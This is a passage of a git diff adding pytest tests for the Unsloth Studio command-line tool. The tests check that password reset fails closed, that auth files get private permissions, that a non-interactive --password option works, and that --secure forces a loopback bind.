+    # reset must abort BEFORE touching the credential files -- deleting them while
+    # an un-resettable must_change_password=1 DB survives would lock a
+    # forgotten-password reset out with no recovery credential.
+    import pathlib
+
+    studio_mod = _studio()
+    monkeypatch.setattr(studio_mod, "STUDIO_HOME", tmp_path)
+    _seed_auth(studio_mod)
+    auth_dir = tmp_path / "auth"
+    bootstrap_file = auth_dir / studio_mod.BOOTSTRAP_PASSWORD_FILE
+    db_file = auth_dir / "auth.db"
+    assert bootstrap_file.exists() and db_file.exists()
+
+    _real_unlink = pathlib.Path.unlink
+
+    def _boom_unlink(self, *a, **k):
+        if self.name == "auth.db":
+            raise OSError("database is locked")
+        return _real_unlink(self, *a, **k)
+
+    monkeypatch.setattr(pathlib.Path, "unlink", _boom_unlink)
+
+    import typer as _typer
+
+    app = _typer.Typer()
+    app.command()(studio_mod.reset_password)
+    result = CliRunner().invoke(app, [], catch_exceptions = True)
+
+    assert result.exit_code == 1, result.output
+    # DB still there; credential files untouched (no lockout, no half-done reset).
+    assert db_file.exists()
+    assert bootstrap_file.exists()
+    assert bootstrap_file.read_text().strip()
+    combined = (result.output or "") + (getattr(result, "stderr", "") or "")
+    assert "could not delete the auth database" in combined.lower()
+
+
+def test_reset_password_fails_closed_when_credential_cannot_be_invalidated(monkeypatch, tmp_path):
+    # If a seeded credential file can be neither unlinked nor truncated, reset must
+    # fail closed: auth.db is already gone, so a surviving plaintext would be
+    # re-seeded and re-validate the revoked password.
+    import pathlib
+
+    studio_mod = _studio()
+    monkeypatch.setattr(studio_mod, "STUDIO_HOME", tmp_path)
+    _seed_auth(studio_mod)
+    auth_dir = tmp_path / "auth"
+    bootstrap_file = auth_dir / studio_mod.BOOTSTRAP_PASSWORD_FILE
+    db_file = auth_dir / "auth.db"
+    assert bootstrap_file.exists() and db_file.exists()
+
+    _real_unlink = pathlib.Path.unlink
+    _real_write_text = pathlib.Path.write_text
+
+    def _boom_unlink(self, *a, **k):
+        if self.name == studio_mod.BOOTSTRAP_PASSWORD_FILE:
+            raise OSError("locked")
+        return _real_unlink(self, *a, **k)
+
+    def _boom_write_text(self, *a, **k):
+        if self.name == studio_mod.BOOTSTRAP_PASSWORD_FILE:
+            raise OSError("read-only")
+        return _real_write_text(self, *a, **k)
+
+    monkeypatch.setattr(pathlib.Path, "unlink", _boom_unlink)
+    monkeypatch.setattr(pathlib.Path, "write_text", _boom_write_text)
+
+    import typer as _typer
+
+    app = _typer.Typer()
+    app.command()(studio_mod.reset_password)
+    result = CliRunner().invoke(app, [], catch_exceptions = True)
+
+    assert result.exit_code == 1, result.output
+    # auth.db was deleted first; the un-invalidatable file is reported for manual removal.
+    assert not db_file.exists()
+    combined = (result.output or "") + (getattr(result, "stderr", "") or "")
+    assert "delete it manually" in combined.lower()
+
+
+def test_connect_auth_db_creates_private_files(monkeypatch, tmp_path):
+    # Fresh install: the CLI gate writes the password hash + JWT secret before
+    # the backend ever runs, so this path must apply the same 0700/0600 modes
+    # as backend storage.get_connection (sqlite3.connect creates 0644 files
+    # under a 022 umask).
+    import os as _os
+    import stat
+
+    if _os.name == "nt":
+        pytest.skip("POSIX permission bits")
+    studio_mod = _studio()
+    monkeypatch.setattr(studio_mod, "STUDIO_HOME", tmp_path)
+    conn = studio_mod._connect_auth_db()
+    conn.close()
+    auth_dir = tmp_path / "auth"
+    assert stat.S_IMODE(auth_dir.stat().st_mode) == 0o700
+    assert stat.S_IMODE((auth_dir / "auth.db").stat().st_mode) == 0o600
+
+
+# ── non-interactive --password / UNSLOTH_STUDIO_PASSWORD / stdin ──────
+
+
+def _exec_argv(events):
+    return next(argv for kind, argv in events if kind == "exec")
+
+
+def test_studio_default_password_sets_initial_no_prompt_no_forward(monkeypatch, tmp_path):
+    studio_mod = _studio()
+    events = _install_prompt_env(monkeypatch, tmp_path, interactive = True)
+    before = _seed_auth(studio_mod)
+
+    _invoke_studio_default(monkeypatch, events, ["--secure", "--password", "cli-supplied-pw12"])
+
+    # No interactive prompt: --password applied in the parent, so the gate no-ops.
+    assert [kind for kind, _ in events] == ["exec"], events
+    after = _auth_state(studio_mod)
+    assert after["must_change_password"] == 0
+    assert after["password_hash"] != before["password_hash"]
+    assert after["jwt_secret"] != before["jwt_secret"]
+    assert after["n_refresh"] == 0
+    assert not (tmp_path / "auth" / studio_mod.BOOTSTRAP_PASSWORD_FILE).exists()
+    # The secret never crosses to the child argv.
+    assert "--password" not in _exec_argv(events)
+
+
+def test_studio_default_password_via_env_strips_child_env(monkeypatch, tmp_path):
+    import os
+
+    studio_mod = _studio()
+    events = _install_prompt_env(monkeypatch, tmp_path, interactive = False)
+    _seed_auth(studio_mod)
+    monkeypatch.setenv("UNSLOTH_STUDIO_PASSWORD", "env-supplied-pw12")
+
+    _invoke_studio_default(monkeypatch, events, ["--secure"])
+
+    assert [kind for kind, _ in events] == ["exec"], events
+    assert _auth_state(studio_mod)["must_change_password"] == 0
+    # Env var stripped so a re-exec'd child cannot re-read it.
+    assert "UNSLOTH_STUDIO_PASSWORD" not in os.environ
+
+
+def test_studio_default_password_via_stdin(monkeypatch, tmp_path):
+    # `--password -` reads one line from stdin. CliRunner owns stdin during
+    # invoke, so feed it via input= rather than patching sys.stdin.
+    import typer as _typer
+
+    studio_mod = _studio()
+    events = _install_prompt_env(monkeypatch, tmp_path, interactive = False)
+    _seed_auth(studio_mod)
+    _install_studio_default_reexec(monkeypatch, events)
+    app = _typer.Typer()
+    app.command()(studio_mod.studio_default)
+    CliRunner().invoke(
+        app,
+        ["--secure", "--password", "-"],
+        input = "stdin-supplied-pw12\n",
+        catch_exceptions = True,
+    )
+
+    assert [kind for kind, _ in events] == ["exec"], events
+    assert _auth_state(studio_mod)["must_change_password"] == 0
+
+
+def test_studio_default_password_too_short_fails_closed(monkeypatch, tmp_path):
+    studio_mod = _studio()
+    events = _install_prompt_env(monkeypatch, tmp_path, interactive = True)
+    _seed_auth(studio_mod)
+
+    result = _invoke_studio_default(monkeypatch, events, ["--secure", "--password", "short"])
+
+    assert result.exit_code == 1
+    assert [kind for kind, _ in events] == []  # never reached the gate / re-exec
+    assert _auth_state(studio_mod)["must_change_password"] == 1  # unchanged
+
+
+def test_studio_default_password_must_differ_fails_closed(monkeypatch, tmp_path):
+    studio_mod = _studio()
+    events = _install_prompt_env(monkeypatch, tmp_path, interactive = True)
+    _seed_auth(studio_mod)
+    bootstrap_pw = (tmp_path / "auth" / studio_mod.BOOTSTRAP_PASSWORD_FILE).read_text()
+
+    result = _invoke_studio_default(monkeypatch, events, ["--secure", "--password", bootstrap_pw])
+
+    assert result.exit_code == 1
+    assert _auth_state(studio_mod)["must_change_password"] == 1  # unchanged
+
+
+def test_studio_default_password_already_set_fails_closed(monkeypatch, tmp_path):
+    studio_mod = _studio()
+    events = _install_prompt_env(monkeypatch, tmp_path, interactive = True)
+    _seed_auth(studio_mod, must_change = False)  # a password is already set
+
+    result = _invoke_studio_default(
+        monkeypatch, events, ["--secure", "--password", "another-pw-12345"]
+    )
+
+    assert result.exit_code == 1
+    assert [kind for kind, _ in events] == []
+
+
+def test_studio_default_password_before_subcommand_errors(monkeypatch, tmp_path):
+    # --password on `unsloth studio` (before a subcommand) is a plain-only option;
+    # like --secure/--cloudflare it must error, not be silently dropped.
+    import typer as _typer
+
+    studio_mod = _studio()
+    monkeypatch.setattr(studio_mod, "_ensure_studio_env_exported", lambda: None)
+    app = _typer.Typer()
+    app.add_typer(studio_mod.studio_app, name = "studio")
+    result = CliRunner().invoke(app, ["studio", "--password", "x", "run", "--model", "X"])
+    assert result.exit_code == 2
+    combined = (result.output or "") + (getattr(result, "stderr", "") or "")
+    assert "--password" in combined
+
+
+def test_run_password_sets_initial_no_prompt_no_forward(monkeypatch, tmp_path):
+    studio_mod = _studio()
+    events = _install_prompt_env(monkeypatch, tmp_path, interactive = True)
+    before = _seed_auth(studio_mod)
+
+    _invoke_run(monkeypatch, events, _BASE + ["--secure", "--password", "cli-supplied-pw12"])
+
+    assert [kind for kind, _ in events] == ["exec"], events
+    after = _auth_state(studio_mod)
+    assert after["must_change_password"] == 0
+    assert after["password_hash"] != before["password_hash"]
+    assert "--password" not in _exec_argv(events)
+
+
+def test_run_password_via_env_strips_child_env(monkeypatch, tmp_path):
+    # The `run` mirror must also strip UNSLOTH_STUDIO_PASSWORD before re-exec so a
+    # shadowed child cannot re-read the secret (parity with studio_default).
+    import os
+
+    studio_mod = _studio()
+    events = _install_prompt_env(monkeypatch, tmp_path, interactive = False)
+    _seed_auth(studio_mod)
+    monkeypatch.setenv("UNSLOTH_STUDIO_PASSWORD", "env-supplied-pw12")
+
+    _invoke_run(monkeypatch, events, _BASE + ["--secure"])
+
+    assert [kind for kind, _ in events] == ["exec"], events
+    assert _auth_state(studio_mod)["must_change_password"] == 0
+    assert "UNSLOTH_STUDIO_PASSWORD" not in os.environ
+
+
+def test_studio_default_password_applies_on_headless_wildcard_no_tunnel(monkeypatch, tmp_path):
+    # The apply is scoped to "any launch", not just --secure/--cloudflare: a raw
+    # public wildcard bind (-H 0.0.0.0, no tunnel) must set the initial password
+    # before bind and re-exec, with the gate no-op'ing (must_change now 0).
+    studio_mod = _studio()
+    events = _install_prompt_env(monkeypatch, tmp_path, interactive = True)
+    before = _seed_auth(studio_mod)
+
+    _invoke_studio_default(
+        monkeypatch, events, ["-H", "0.0.0.0", "--password", "headless-set-pw12"]
+    )
+
+    assert [kind for kind, _ in events] == ["exec"], events
+    after = _auth_state(studio_mod)
+    assert after["must_change_password"] == 0
+    assert after["password_hash"] != before["password_hash"]
+    assert "--password" not in _exec_argv(events)
+
+
+def test_reset_password_then_password_roundtrip(monkeypatch, tmp_path):
+    # After reset-password wipes the DB, the next start re-seeds a fresh admin
+    # that again requires a change, so --password can set a new initial password.
+    import typer
+
+    studio_mod = _studio()
+    monkeypatch.setattr(studio_mod, "STUDIO_HOME", tmp_path)
+    _seed_auth(studio_mod)
+    conn = studio_mod._connect_auth_db()
+    studio_mod._cli_update_password(conn, studio_mod.DEFAULT_ADMIN_USERNAME, "first-password-1")
+    conn.close()
+    assert _auth_state(studio_mod)["must_change_password"] == 0
+
+    # reset-password deletes the auth DB + seeded credential files.
+    try:
+        studio_mod.reset_password()
+    except typer.Exit:
+        pass
+    assert not (tmp_path / "auth" / "auth.db").exists()
+
+    # A restart re-seeds (ensure_default_admin, must_change=1); --password sets anew.
+    events = _install_prompt_env(monkeypatch, tmp_path, interactive = True)
+    _invoke_studio_default(monkeypatch, events, ["--secure", "--password", "second-password-2"])
+    assert [kind for kind, _ in events] == ["exec"], events
+    assert _auth_state(studio_mod)["must_change_password"] == 0
diff --git a/unsloth_cli/tests/test_studio_secure_flag.py b/unsloth_cli/tests/test_studio_secure_flag.py
index 61b64ff65d..5e5895309c 100644
--- a/unsloth_cli/tests/test_studio_secure_flag.py
+++ b/unsloth_cli/tests/test_studio_secure_flag.py
@@ -74,6 +74,11 @@ def _install_run_reexec_capture(monkeypatch):
     monkeypatch.setattr(sys, "prefix", "/nonexistent/outer/venv")
     fake_venv = Path("/fake/studio/venv/unsloth_studio")
     monkeypatch.setattr(studio_mod, "_studio_venv_python", lambda: fake_venv / "bin" / "python")
+    # A built frontend dist is present so the public-launch UI check passes
+    # deterministically (independent of whether the repo dist was built).
+    monkeypatch.setattr(
+        studio_mod, "_find_frontend_dist", lambda: Path("/fake/studio/frontend/dist")
+    )
     fake_bin = fake_venv / "bin" / "unsloth"
     real_is_file = Path.is_file
     monkeypatch.setattr(
@@ -120,7 +125,11 @@ def _invoke_studio_default(monkeypatch, args):
     fake_venv = Path("/fake/studio/venv/unsloth_studio")
     monkeypatch.setattr(studio_mod, "_studio_venv_python", lambda: fake_venv / "bin" / "python")
     monkeypatch.setattr(studio_mod, "_find_run_py", lambda: Path("/fake/studio/run.py"))
-    monkeypatch.setattr(studio_mod, "_find_frontend_dist", lambda: None)
+    # A built frontend dist is present so the public-launch UI check passes; this
+    # suite exercises flag forwarding, not the missing-dist lockout guard.
+    monkeypatch.setattr(
+        studio_mod, "_find_frontend_dist", lambda: Path("/fake/studio/frontend/dist")
+    )
     monkeypatch.setattr(sys, "platform", "linux")
 
     def fake_execvp(file, argv):
@@ -172,6 +181,35 @@ def test_studio_default_reexec_forwards_secure(monkeypatch):
     assert argv[argv.index("--host") + 1] == "127.0.0.1", argv
 
 
+def test_run_secure_warns_when_host_overridden(monkeypatch):
+    # -H 0.0.0.0 --secure forces the loopback bind; warn (not error) that -H is
+    # ignored so it does not silently read as "secure and on the network".
+    import typer as _typer
+
+    _install_run_reexec_capture(monkeypatch)
+    app = _typer.Typer()
+    app.command(
+        context_settings = {"allow_extra_args": True, "ignore_unknown_options": True},
+    )(_studio().run)
+    result = CliRunner().invoke(app, _BASE + ["-H", "0.0.0.0", "--secure"], catch_exceptions = True)
+    combined = (result.output or "") + (getattr(result, "stderr", "") or "")
+    assert "ignores -H" in combined, combined
+
+
+def test_run_secure_no_warning_when_already_loopback(monkeypatch):
+    # --secure with an already-loopback -H must not warn about ignoring -H.
+    import typer as _typer
+
+    _install_run_reexec_capture(monkeypatch)
+    app = _typer.Typer()
+    app.command(
+        context_settings = {"allow_extra_args": True, "ignore_unknown_options": True},
+    )(_studio().run)
+    result = CliRunner().invoke(app, _BASE + ["-H", "127.0.0.1", "--secure"], catch_exceptions = True)
+    combined = (result.output or "") + (getattr(result, "stderr", "") or "")
+    assert "ignores -H" not in combined, combined
+
+
 def test_studio_default_not_secure_alias_forwards_no_secure(monkeypatch):
     # --not-secure on `unsloth studio` forwards the canonical --no-secure.
     captured = _invoke_studio_default(monkeypatch, ["--not-secure"])
@@ -206,13 +244,23 @@ class _RunServerCaptured(SystemExit):
         self.kwargs = dict(kwargs)
 
 
-def test_run_in_venv_passes_secure_and_forces_host(monkeypatch):
+def test_run_in_venv_passes_secure_and_forces_host(monkeypatch, tmp_path):
     import types
 
     studio_mod = _studio()
-    fake_venv = Path("/fake/studio/venv/unsloth_studio")
+    # Real STUDIO_HOME with an already-changed admin (must_change_password=0) so
+    # the pre-exposure gate is a no-op and the in-venv path reaches run_server.
+    # (The gate now fails closed if it cannot open the auth DB, so a fake path
+    # would refuse the launch before this assertion.)
+    monkeypatch.setattr(studio_mod, "STUDIO_HOME", tmp_path)
+    _seed = studio_mod._connect_auth_db()
+    studio_mod._ensure_cli_default_admin(_seed)
+    _seed.execute("UPDATE auth_user SET must_change_password = 0")
+    _seed.commit()
+    _seed.close()
+
+    fake_venv = tmp_path / "unsloth_studio"
     monkeypatch.setattr(sys, "prefix", str(fake_venv))
-    monkeypatch.setattr(studio_mod, "STUDIO_HOME", fake_venv.parent)
 
     from unsloth_cli import _tool_policy as _tp_mod
 
@@ -284,6 +332,11 @@ def test_run_secure_resolves_tools_against_loopback(monkeypatch):
     monkeypatch.setattr(sys, "prefix", "/nonexistent/outer/venv")
     fake_venv = Path("/fake/studio/venv/unsloth_studio")
     monkeypatch.setattr(studio_mod, "_studio_venv_python", lambda: fake_venv / "bin" / "python")
+    # A built frontend dist is present so the public-launch UI check passes
+    # deterministically (independent of whether the repo dist was built).
+    monkeypatch.setattr(
+        studio_mod, "_find_frontend_dist", lambda: Path("/fake/studio/frontend/dist")
+    )
     fake_bin = fake_venv / "bin" / "unsloth"
     real_is_file = Path.is_file
     monkeypatch.setattr(